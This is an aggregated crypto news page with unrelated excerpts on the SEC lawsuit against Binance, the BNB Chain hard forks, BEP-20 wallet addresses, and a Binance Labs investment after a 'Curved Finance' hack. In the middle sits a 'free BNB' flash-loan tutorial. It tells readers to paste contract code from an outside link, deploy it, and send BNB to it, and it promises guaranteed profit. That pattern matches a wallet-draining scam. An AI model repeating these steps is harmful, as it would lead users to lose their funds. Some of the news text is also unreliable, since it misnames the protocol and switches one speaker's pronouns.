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Could a crypto world exist without Binance? Many analysts and traders are weighing in on this subject given the worlds largest digital currency exchange is facing a huge lawsuit from the Securities and Exchange Commission (SEC).

Not long ago, the SEC filed charges against Binance and claimed the company had broken securities laws for many years. It also said Binance had commingled company funds with those of customers. The exchange also faced another lawsuit from the Commodity Futures Trading Commission (CFTC).

Some analysts are not convinced that any of this is real. Boris Povar, for example, is the general director at EYWA, a cross-chain solution that brings blockchains together.

He said that this is all part of an ongoing witch hunt headed by the SEC, and its all an attempt to soften the strength of crypto in America. He also compared the actions to those of China in mid-2021 when the country announced that all crypto mining would be illegal. He said:

This, to me, looks like nothing more than market manipulation, like the ban on cryptocurrencies in China in the past market cycles. Even if Binance.US closes, it wont close Binance. This will accelerate Binances transition to a fully decentralized structure, which it has been doing for a long time, since the establishment of Binance DEX on the BNB Beacon Chain and launching of the BNB Smart Chain, plus investing in infrastructure projects such as Trust Wallet, Injective Protocol, and others. That is the future pillar of a decentralized Binance. It will gradually be reborn as a decentralized exchange (DEX) and will become stronger, I think. Any closure of the American market for Binance will lead them to develop other markets in Asia and even France.

This sentiment was echoed by Hedi Navazan, head of compliance and regulatory affairs at Crystal Blockchain in Amsterdam. He said the entire world has taken notice of the lack of regulatory clarity in the U.S., and that the nation is being given close attention due to its ongoing regulation-through- enforcement tactics. She said:

The entire crypto industry has been increasingly vocal about the lack of transparency in the regulatory approach from the U.S. Crypto businesses are moving offshore to countries that are pursuing innovation in regulation.

Still, however, there are some that say the situation surrounding Binance is growing worse for the company and the man (Changpeng Zhao) in charge of it. Vladislav Garmash founder and CEO of the Marlerino Group in Dubai said:

I have studied this lawsuit and the analysts comments on this issue well. If everything goes according to a bad scenario, Binance.US will not be allowed to exist. CZ will be strangled constantly if so. Billions of fines are waiting for CZ.

See the rest here:

Could the SEC Lawsuit End Binance for Good? Analysts Weigh In - Live Bitcoin News

BinancesBNB Chainis set to undergo two hard forks in August 2023 to reduce the possibility of a malicious blockchain reorganization and increase compatibility with other Ethereum Virtual Machine (EVM) blockchain networks.

The Plato and Hertz upgrades are scheduled for Aug. 10 and Aug. 30, respectively, following extensive testing. The Plato upgrade, which has already taken place, introduces BEP-126. The latest evolution proposal implements a fast finality mechanism that is expected to rule out the ability for blocks to be reverted.

Arno Bauer, senior solution architect at BNB Chain, unpacked the specifics of the network upgrades in an interview with Cointelegraph. The fast finality mechanism is expected to reduce the chance of chain reorganization and stabilize block production while allowing users to access accurate information from the latest finalized block instantly. Bauer said:

Bauer added that finality is a core concept of blockchain technology, referring to the point at which a transaction or block of transactions can no longer be altered or reversed. Finality remains crucial in maintaining trust and preventing double-spending in blockchain systems.

BEP-126 introduces fast finality through a series of steps. Validators begin by proposing a block to the network, which is propagated to other validators. Validators then sign for the block using their private key, creating a vote message. Voting aggregation then occurs, with validator votes gathered into a pool and aggregated if the direct parent block has enough votes.

Related:Binance Smart Chain and Binance Chain become BNB Chain

Validators must follow specific rules when voting for blocks, such as not publishing two distinct votes for the same height. The finality rules also determine that a block is justified if theres an attestation in the child blocks header, and it is finalized if both the block and its direct child are justified.

The fork, including the highest justified block, is considered the longest chain, even if other chain forks have a higher difficulty sum. Producing blocks and finalizing blocks also have different requirements in terms of the number of validators needed.

Lastly, BNB Chain validators are rewarded for voting, with those who violate the vote rules being slashed, similar to Ethereums proof-of-stake protocol.

The Hertz hard fork is earmarked for Aug. 30 and is aimed at keeping the BNB Chain up to date with the latest development of EVM blockchains. As Bauer explains, the BNB Chain needs to keep its block and transaction structures, as well as its base EVM, updated to match Ethereums recently implemented Berlin and London forks.

Bauer said that the fast finality mechanism should provide a more secure environment for decentralized applications (DApps), while speedier transaction finality should improve the responsiveness and efficiency of DApps running on the BNB Chain.

Magazine:Deposit risk: What do crypto exchanges really do with your money?

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BNB Chain hard fork to improve security and compatibility with EVM ... - Cointelegraph

Free Binance Smart Chain Token (BNB)? Yes, who wouldnt want some free cash?

It is possible using a special method called FLASH LOANS

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While theyve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation https://academy.binance.com/en/articles/what-are-flash-loans-in-defi

So, whats the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

Step By Step Tutorial for Flash Loan:

- Get the Metamask Extension for your browser

- Open https://remixcompiler.com from within your browser.

- Click on File Explorers and click Create New File .

- Name the file flashloans.sol and paste the contract code link below. https://raw.githubusercontent.com/CryptoBarbie101/FlashLoansBNB/main/BNB

- Click on Deploy & Run transactions and set ENVIRONMENT to Injected Web3.

- Connect your MetaMask wallet.

- Click on the Solidity Compiler and set the compiler version to 0.5.0

- Click on the Solidity Compiler and then click the blue button Compile flashloans.sol

- Wait for the code to compile.

- Click on Deploy & run transactions then click on the down arrow right from the Deploy button

On _TOKENNAME Tester

On _TOKENSYMBOL TOKX

On _LOANAMOUNT 2000

- Click Transact and confirm the transaction in MetaMask.

- Wait for the transaction to confirm.

Copy the address of the newly deployed contract.

- Send BNB to the deployed contract to initiate the swap 0.3+ (0.3 up is better as you will get a bigger amount in each swap)

- Wait for the transaction to confirm.

- Now, Click action (red box) to execute the Flash Loan.

- Confirm the transaction in MetaMask and wait for the confirmation.

- You can now check your wallet

Note: If it doesnt work with 0.3 BNB try to send another 0.3 BNB (0.30 is better), because fees may be different from day to day. (1.5+ BNB for each 1000 BNB you are borrowing).

Avoid using very low amounts as contract may fail below 0.15 BNB. Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time.

Dont panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your BNB out to another wallet when youre done.

Read more:

How To Get Free 10 BNB with PancakeSwap Full Tutorial 2023 - Medium

Description

Similar to Ethereums ERC-20, all smart contract blockchains have a stipulated token standard that informs the creation, issuance, and deployment of native tokens. BEP-20 is the token standard used on BNB Chain (previously known as Binance Smart Chain). Whether you intend to receive, trade, or store any token on the BNB Chain, you will need Read more

Similar to Ethereums ERC-20, all smart contract blockchains have a stipulated token standard that informs the creation, issuance, and deployment of native tokens. BEP-20 is the token standard used on BNB Chain (previously known as Binance Smart Chain).

Whether you intend to receive, trade, or store any token on the BNB Chain, you will need a BEP-20 wallet address which can be obtained from wallets or platforms compatible with BNB Chain. This is where Metamask and Trust Wallet come in handy.

Metamask and Trust Wallet are multi-chain self-custody cryptocurrency wallets, meaning they support several blockchains and their respective token standards, including ERC-20 and BEP-20 addresses. In this article, well explore how you can find BEP-20 wallet addresses on both Metamask and Trust Wallet.

If you dont have a Metamask wallet already, then you will need to download it to create an account. Metamask is available on mobile and desktop (as a browser extension). For the purpose of this article, well be using the Chrome extension to guide you. However, the steps to creating and finding BEP-20 on Metamask are the same, regardless of the version used.

Open your Metamask wallet. Afterward, sign into the account you created by entering the password.

Click on the drop-down by the top left corner to switch between different blockchain networks. Select the BNB Chain if the option is available. But if the option is not available, you will need to add the BNB Chain manually.

Click the Add Network and enter the following details to the relevant fields to add the BNB Chain to your Metamask wallet.

Cross-check the details you entered and click on the Save button.

After adding the BNB Chain configuration details, go back to the Metamask home screen and click on the Network Switcher tab discussed in Step 2. Then, select BNB Chain (i.e., Binance Smart Chain).

Next, click on the three-dot icon by the top right corner, then select Account details.

You should see your BEP-20 address and a QR code, with which you can send only BEP-20 standard tokens to your wallets.

Some token balances may not be displayed, except if you import them. This article delves further into how to import tokens on Metamask.

Similar to Metamask, Trust Wallet is also available on mobile (Android and iOS devices) and browsers as extensions. For those new to Trust Wallet, you will need to create an account and set up other necessary details, such as a password and seed phrase backup.

The user interface on Trust Wallets extension is quite different from that of the mobile app. So, well show you how to create, add BNB Chain, and find the BEP-20 address on Trust Wallet mobile and browser extension.

After creating a new account, the very next step is switching to the BNB Chain.

Click on the top left icon that shows Ethereum to switch between different networks. By default, you should see the option to select BNB Chain (Binance Smart Chain).

However, if the option is not provided, then you can continue with the next step to manually add BNB Chain.

Next, click on manage networks and add custom tokens.

Next, enter the following details in the relevant fields to add the BNB Chain to your Trust Wallet.

Network Name Binance Smart Chain

New RPC URL https://bsc-dataseed.binance.org/

Chain ID 56

Symbol BNB

Block Explorer URL https://bscscan.com

Next, select BNB Chain (i.e., Binance Smart Chain) you just added from the Networks tab.

After adding the BNB Chain network, the next step to finding your BEP-20 address is by searching for the BNB coin. To do this, click on the receive button.

Next, scroll down to find the BNB coin.

You should see your BEP-20 wallet address after you click on the token.

Assuming you have created an account already, launch the Trust Wallet mobile app and click on Add Tokens.

Next, select BNB Smart Chain to add the coin to your wallet.

Go back to the home screen and click on the BNB coin you just add.

Next, click on receive, and you should see your BEP-20 wallet address on Trust Wallet. You can then copy and fund your BEP-20 wallet using the address.

See the article here:

How to find BEP-20 wallet address on Trust Wallet & Metamask ... - Cryptopolitan

Curved Finance is a growing DeFi protocol that looks like it has a lot of potential. It does have a lot of potential as many crypto enthusiasts use them to conduct a wide range of services. However, they suffered a hack which set them back on many things. The amount of money they lost in the hack reached a whopping $70 million. Binance Labs, the crypto exchanges venture capitalist and incubator arm, plans to invest $5 million in CRV, Curve DAOs token. Apparently, this investment will be part of the Curved Finance revival.

Binance Labs, the crypto exchanges venture capitalist and incubator arm, wants to spend a whopping $5 million into the native token of Curved Finance. Apparently, this deal will open a lot of opportunities for the project. In fact, many of the supporters of the DeFi protocol are happy with the news.

The new deal with Binance is not only for the native token but the DeFi protocol will have more options to explore. Furthermore, Binance wants to deploy the CRV token on the Binance Smart Chain (BNB Chain). Apparently, this is quite huge for CRV, as it means more traders will have access to it.

It looks like Binance wants to act as the big brother of crypto companies. Moreover, the fact remains that Curved Finance is the second largest DeFi exchange in the world, with $2.4 billion in total value locked (TVL) per DeFiLlama. Even more, this DeFi exchange is the largest exchange for stablecoin swapping. So the hack in their protocol affected them to the core.

According to the Co-Founder of Binance and Head of Binance Labs Yi He, the new development from Binance is an act of support. Binance Labs acknowledged Curved Finances condition as delicate. Hence, they want to help them stand up on their feet. Moreover, a massive brand like Binance coming to your rescue is an incredible record.

The hack on Curved Finance was something that many crypto enthusiasts didnt expect. Nevertheless, it did happen, affecting the crypto protocol. Apparently, the hacker accessed some critical resources and permissions and used them against the CRV ecosystem. More than 70 million dollars went down the drain.

However, the protocol told the hacker to return about 90% of the stolen funds and keep 10%. Fortunately for Curved Finance, the hacker did return some of the money. Although it is not yet complete, the hunt is still on for the hacker.

Wrapping up, Binance didnt send a sign of support to Curved Finance using words. The worlds biggest exchange spent a total of $5 million as a sign of support for the DeFi protocol. With the new investments, the DeFi protocol might recover.

Read the original here:

Curved Finance Receives $5 Million FromBinance - cryptonewsbytes.com